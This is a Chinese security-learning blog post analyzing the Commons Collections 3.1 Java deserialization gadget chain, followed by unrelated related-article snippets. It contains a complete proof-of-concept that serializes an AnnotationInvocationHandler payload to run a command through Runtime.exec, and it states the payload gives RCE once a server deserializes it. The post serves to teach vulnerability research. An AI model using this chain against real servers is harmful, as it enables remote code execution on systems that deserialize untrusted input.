[java安全]CommonsCollections3.1

文章目录

    • 【java安全】CommonsCollections3.1
      • InvokerTransformer
      • ConstantTransformer
      • ChainedTransformer
      • TransformedMap
      • 如何触发checkSetValue()方法?
      • AnnotationInvocationHandler
      • poc
      • 利用链

【java安全】CommonsCollections3.1

java开发过程中经常会用到一些库。Apache Commons Collections提供了很多的集合工具类。

很多项目会使用到该库,可以通过相关的调用链,触发Commons Colletions 反序列化RCE漏洞

接下来我们介绍一些重要的类

InvokerTransformer

这个InvokerTransformer类可以使用transform()方法使用反射机制调用任意函数

我们首先看一看构造方法:

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {this.iMethodName = methodName;this.iParamTypes = paramTypes;this.iArgs = args;}

为参数赋初值

transform()方法

public Object transform(Object input) {if (input == null) {return null;} else {try {Class cls = input.getClass();Method method = cls.getMethod(this.iMethodName, this.iParamTypes);return method.invoke(input, this.iArgs);}...}}

该方法会使用反射机制,将传入的对象input使用getClass()方法获取Class对象,然后使用getMethod()获取方法的Method对象,最后传参invoke()调用函数

那么我们就可以通过InvokerTransformer这么执行命令

import org.apache.commons.collections.functors.InvokerTransformer;public class InvokerTransformerDemo {public static void main(String[] args) throws Exception {//Class runtimeClass=Class.forName("java.lang.Runtime");//Object runtime=runtimeClass.getMethod("getRuntime").invoke(null);//runtimeClass.getMethod("exec", String.class).invoke(runtime,"calc.exe");Class runtimeClass=Class.forName("java.lang.Runtime");// Runtime的类对象//借助InvokerTransformer调用runtimeClass的getMethod方法,参数是getRuntime,最后返回的其实是一个Method对象即getRuntime方法Object m_getMethod=new InvokerTransformer("getMethod",new Class[] {String.class,Class[].class},new Object[] {"getRuntime",null}).transform(runtimeClass);//借助InvokerTransformer调用m_getMethod的invoke方法,没有参数,最后返回的其实是runtime这个对象Object runtime=new InvokerTransformer("invoke",new Class[] {Object.class,Object[].class},new Object[] {null,null}).transform(m_getMethod);//借助InvokerTransformer调用runtime的exec方法,参数为calc.exe,返回的自然是一个Process对象Object exec=new InvokerTransformer("exec",new Class[] {String.class},new Object[] {"calc.exe"}).transform(runtime);}
}

Runtime类的getRuntime()函数是静态方法,所以使用反射不需要传入对象,传个null即可

public static Runtime getRuntime() {return currentRuntime;}

ConstantTransformer

这个类的transform()方法很简单:

public ConstantTransformer(Object constantToReturn) {this.iConstant = constantToReturn;}
public Object transform(Object input) {return this.iConstant;}

传入什么对象,就返回什么对象

ChainedTransformer

构造函数:

public ChainedTransformer(Transformer[] transformers) {this.iTransformers = transformers;}

将传入的transformer数组赋值给 iTransformers 变量

再看transform()方法:(重点)

public Object transform(Object object) {for(int i = 0; i < this.iTransformers.length; ++i) {object = this.iTransformers[i].transform(object);}return object;}

ChainedTransformer类的transform()方法会调用iTransformers数组中的每个Transform对象的transform()方法,并且会将前一个的返回值通过object变量传给后面一个

于是我们可以构造出新的链

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;public class ReflectionChain {public static void main(String[] args) throws Exception {Transformer[] transformers=new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[] {String.class,Class[].class},new Object[] {"getRuntime",null}),new InvokerTransformer("invoke",new Class[] {Object.class,Object[].class},new Object[] {null,null}),new InvokerTransformer("exec",new Class[] {String.class},new Object[] {"calc.exe"})};ChainedTransformer chain= new ChainedTransformer(transformers);chain.transform(null);}
}

至此,我们漏洞利用条件是构造出含命令的ChainedTransformer对象,然后触发transform()方法

如何才能触发呢?

我们需要看看TransformedMap类的源码:

TransformedMap

TransformedMap类中,存在一个checkSetValue()方法,可以调用transform()方法:

protected Object checkSetValue(Object value) {return this.valueTransformer.transform(value);}

我们可以通过创建TransformMap对象来调用该方法,但是如何创建对象呢?

我们可以使用decorate()静态方法:

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {return new TransformedMap(map, keyTransformer, valueTransformer);}

于是,我们可以将构造的链子传入TransformedMap对象中:

Map innermap = new HashMap();
innermap.put("key", "value");
Map outmap = TransformedMap.decorate(innermap, null, chain);

如何触发checkSetValue()方法?

Map是java的接口,

Map.entrySet()的返回值是一个Set集合,此集合的类型是Map.Entry

我们发现TransformedMap类的父类是AbstractInputCheckedMapDecorator

public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable

但是AbstractInputCheckedMapDecorator类中存在setValue()方法,可以调用checkSetValue()

static class MapEntry extends AbstractMapEntryDecorator {private final AbstractInputCheckedMapDecorator parent;protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {super(entry);this.parent = parent;}public Object setValue(Object value) {value = this.parent.checkSetValue(value);return this.entry.setValue(value);}}

根据继承和多态,我们知道TransformedMap类中也有setValue()方法

我们可以对outmap对象如下操作就可触发命令执行:

Map.Entry onlyElement = (Map.Entry) outmap.entrySet().iterator().next();
onlyElement.setValue("foobar");

但是目前漏洞的触发还需要调用setValue()方法,我们需要实现带有readObject()方法的类调用setValue()方法,这样就可以实现反序列化RCE了

这里需要用到AnnotationInvocationHandler类:

AnnotationInvocationHandler

AnnotationInvocationHandler类的readObject()方法对memberValues.entrySet()的每一项调用了setValue()方法

image-20230715013946405

构造函数:

image-20230715014403089

这里先直接给出两个条件:

  1. sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第⼀个参数必须是

Annotation的⼦类,且其中必须含有⾄少⼀个⽅法,假设⽅法名是X

  1. TransformedMap.decorate 修饰的Map中必须有⼀个键名为X的元素

所以,在Retention有⼀个⽅法,名为value;所以,为了再满⾜第⼆个条件,我需要给Map中放⼊⼀个Key是value的元素

poc

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.annotation.RetentionPolicy;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Method;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;public class CommonCollections11 {public static Object generatePayload() throws Exception {Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "calc" })};               //这里和我上面说的有一点点不同,因为Runtime.getRuntime()没有实现Serializable接⼝,所以这里用的Runtime.class。class类实现了serializable接⼝Transformer transformerChain = new ChainedTransformer(transformers);Map innermap = new HashMap();innermap.put("value", "xxx");Map outmap = TransformedMap.decorate(innermap, null, transformerChain);//通过反射获得AnnotationInvocationHandler类对象Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//通过反射获得cls的构造函数Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);//这里需要设置Accessible为true,否则序列化失败ctor.setAccessible(true);//通过newInstance()方法实例化对象Object instance = ctor.newInstance(Retention.class, outmap);return instance;}public static void main(String[] args) throws Exception {payload2File(generatePayload(),"obj");payloadTest("obj");}public static void payload2File(Object instance, String file)throws Exception {//将构造好的payload序列化后写入文件中ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(file));out.writeObject(instance);out.flush();out.close();}public static void payloadTest(String file) throws Exception {//读取写入的payload,并进行反序列化ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));in.readObject();in.close();}
}

最后生成的temp.bin只需要通过某种途径传递给服务端使其反序列化就可RCE

利用链

image-20230715014441472

以上利用方法在jdk1.7有效,不过ysoserial中也有jdk1.8的利用方式

ObjectInputStream.readObject()AnnotationInvocationHandler.readObject()MapEntry.setValue()TransformedMap.checkSetValue()ChainedTransformer.transform()ConstantTransformer.transform()InvokerTransformer.transform()Method.invoke()Class.getMethod()InvokerTransformer.transform()Method.invoke()Runtime.getRuntime()InvokerTransformer.transform()Method.invoke()Runtime.exec()

image-20230715103609385

CC链学习-上 - 先知社区 (aliyun.com)

Java反序列化漏洞原理解析 - 先知社区 (aliyun.com)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/3103.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

hardMacro的后防和后端处理

目录 1.hardMacro及仿真模型 2.后防该怎么做及遇到的问题 1.hardMacro及仿真模型 在芯片设计中在使用第三方IP时 会有vonder提供hard Macro IP的情况。什么是hard Macro呢&#xff1f;就是vonder最终提供的是GDS(设计版图)文件给后端。 GDS文件包含了芯片实现的所有信息&#…

微服务系列文章之 Nginx反向代理

Nginx反向代理模块的指令是由ngx_http_proxy_module模块进行解析&#xff0c;该模块在安装Nginx的时候已经自己加装到Nginx中了&#xff0c;接下来我们把反向代理中的常用指令一一介绍下&#xff1a; proxy_pass proxy_set_header proxy_redirect1、proxy_pass 该指令用来设置…

Star History 月度开源精选|2023 年 6 月

上一期 Star History 月度精选是写给市场、运营人员的&#xff0c;而这一期回归到 DevTools 类别&#xff0c;我们六月发现了好一些开发者可以用的不错工具&#xff01; AI Getting Started 还记得 Supabase “Build in a weekend” 的广告词吗&#xff01;AI Getting Started…

【C++】C++11 -- 新功能

文章目录 C11 -- 新功能默认成员函数类成员变量初始化强制生成默认函数关键字default禁用生成默认函数的关键字deletefinal and override 关键字 C11 – 新功能 默认成员函数 在C11之前一个类有6个默认成员函数&#xff0c;在C11标准中又新增了两个默认成员函数&#xff0c;分…

23款奔驰S450 4MATIC更换原厂流星雨智能数字大灯,让智能照亮您前行的路

“流星雨”数字大灯&#xff0c;极具辨识度&#xff0c;通过260万像素的数字微镜技术&#xff0c;实现“流星雨”仪式感与高度精确的光束分布&#xff1b;在远光灯模式下&#xff0c;光束精准度更达之前84颗LED照明的100倍&#xff0c;更新增坡道照明功能&#xff0c;可根据导航…

【PCB专题】如何在Allegro中定义字体及批量修改丝印

在PCB板上丝印往往包含了很多信息,比如元件边界、元件参数、元件编号、极性、静电标识、板号等,这些信息在生产、测试及后期维护等都需要使用。一个好的设计往往都能从丝印的布局、丝印的完整性上体现出来。如下所示PCB在电解电容旁有极性丝印、电阻旁有电阻的位号信息等。 …

利用 jenkins 关联 Job 方式完善 RobotFramework 测试 Setup 以及 Teardown 后操作

目录 1.前言 2.Jekins 关联 Job 方式 1.前言 Jenkins是一个流行的持续集成和交付工具&#xff0c;它可以帮助自动化构建、测试和部署软件。与Robot Framework结合使用&#xff0c;可以实现更高效的测试工作流程。 在Robot Framework中&#xff0c;Setup和Teardown是测试用例…

SQL语句GROUP BY、HAVING、EXISTS、SQL函数(Null判断、日期相关、计算数值和字符串操作 )

目录 GROUP BY HAVING EXISTS SQL函数 Null判断函数 日期数据类型及函数 计算数值和字符串操作函数 AVG(平均值) COUNT(数据条数) FIRST/LAST(第一条数据) MAX/MIN(最大值) SUM(列总和) UCASE/ LCASE (转换大小写) MID(截取字符串) LEN(字符值的长度) ROUND(数…

什么是70v转12v芯片?

问&#xff1a;什么是70v转12v芯片&#xff1f; 答&#xff1a;70v转12v芯片是一种电子器件&#xff0c;其功能是将输入电压范围在9v至100v之间的电源转换为稳定的12v输出电压。这种芯片通常被用于充电器、车载电池充电器和电源适配器等设备中。 问&#xff1a;这种芯片的最大…

如何在Microsoft Excel中使用SORT函数

虽然 Microsoft Excel 提供了一个内置的数据排序工具,但你可能更喜欢函数和公式的灵活性。 使用 SORT 函数的好处是,你可以在不同的位置对数据进行排序。如果你想在不干扰原始数据集的情况下操作项目,你会喜欢 Excel 中的 SORT 函数。但是,如果你喜欢对项目进行原位排序,…

ES(4)核心概念

文章目录 索引文档字段映射分片副本分配 索引 一个索引就是一个拥有积分相似特征的文档的集合。我们可以有客户数据的索引、产品目录的索引、订单数据的索引。 对我而言这个索引可能更像是表的概念 文档 一个文档是一个可被检索的最基本的单元&#xff0c;也就是一条数据&…

Spring AOP的介绍与实现

文章目录 Spring AOP1. Spring AOP概念2. Spring AOP的作用3.AOP的组成4. Spring AOP的实现4.1 添加Spring AOP依赖4.2 定义切面&#xff08;创建切面类&#xff09;4.3 定义切点&#xff08;配置拦截规则&#xff09;4.3.1 切点表达式语法 4.4 定义通知的实现 5. Spring AOP实…

STM32 Proteus仿真全自动洗衣机洗涤脱水-0074

STM32 Proteus仿真全自动洗衣机洗涤脱水-0074 Proteus仿真小实验&#xff1a; STM32 Proteus仿真全自动洗衣机洗涤脱水-0074 功能&#xff1a; 硬件组成&#xff1a;STM32F103R6单片机LCD1602显示器 L298N驱动电机正反转蜂鸣器LED指示灯多个按键(标准洗&#xff0c;快速洗&a…

STM32学习笔记(十二)丨RTC实时时钟

本篇文章包含的内容 一、计算机底层计时系统——时间戳1.1 时间戳简介1.2 GMT/UTC1.3 C语言和time.h库 二、STM32的BKP和RTC时钟2.1 BKP&#xff08;Backup Registers&#xff09;备份寄存器2.2 RTC&#xff08;Real Time Clock&#xff09;实时时钟2.2.1 RTC简介2.2.2 RTC的内…

javascript 导出表格的excel

一个php网站的表格,需要增加导出excel的功能, 因对web开发不甚了解,开始想着用php导出, 搜索一番发现比较复杂,而且我的表格里已经有数据了, 如果导出又要去库中获取一次,不是负担加倍, 可否把现有表格数据,直接导出来? 答案是肯定的,用js在前端导出 开源js组件…

opencv-07-感兴趣区域(ROI)

在图像处理过程中&#xff0c;我们可能会对图像的某一个特定区域感兴趣&#xff0c;该区域被称为感兴趣区 域&#xff08;Region of Interest&#xff0c;ROI&#xff09;。在设定感兴趣区域 ROI 后&#xff0c;就可以对该区域进行整体操作。 以下是一些 OpenCV ROI应用场景 …

Blender操作快捷键

视角操作 按住鼠标中键旋转视角 滚动滚轮视角推拉 shift中键 视角平移 其它操作 X 删除物体 I 插入关键帧 N 隐藏属性工具栏 小键盘0 进入摄像机视角 ~ 切换视角 ctrlAltQ 四视图 移动旋转缩放 • G 移动 • S 缩放 (AltS 沿法线方向缩放) • R 旋转 • G(XY…

centos环境搭建nsq单点

简言 下载 启动nsq(单节点) 1. 启动nsqd 2. 启动nsqlookupd 3. 启动nsqadmin 查看状态 简言 1. nsq是go语言实现的分布式消息处理平台&#xff0c;类似我们常用的kafka&#xff0c;rocket mq等&#xff0c;目的是用来大规模地处理每天数以十亿计级别的消息。它具有分布式和…

Java集合工具:列表查找之position和find

操作集合时&#xff0c;查找列表中的元素是常见操作&#xff0c;本文记录两个平常使用的List查找工具方法。 使用示例 Testpublic void testPositionAndFind() {List<Integer> list Arrays.asList(1, 2, 3, 4, 5, 6, 7, 8, 9, 10);//查找list中2的下标&#xff0c;不存…

如何用Jmeter做性能测试

目录 性能测试的概念 性能测试类型 性能测试应用场景&#xff08;领域&#xff09; 性能测试常用的指标 性能测试流程 需求分析 搭建测试环境 测试场景设计 测试用例设计和脚本开发 测试数据准备 性能测试执行和管理 性能测试结果分析与调优 测试报告和跟踪 性能测…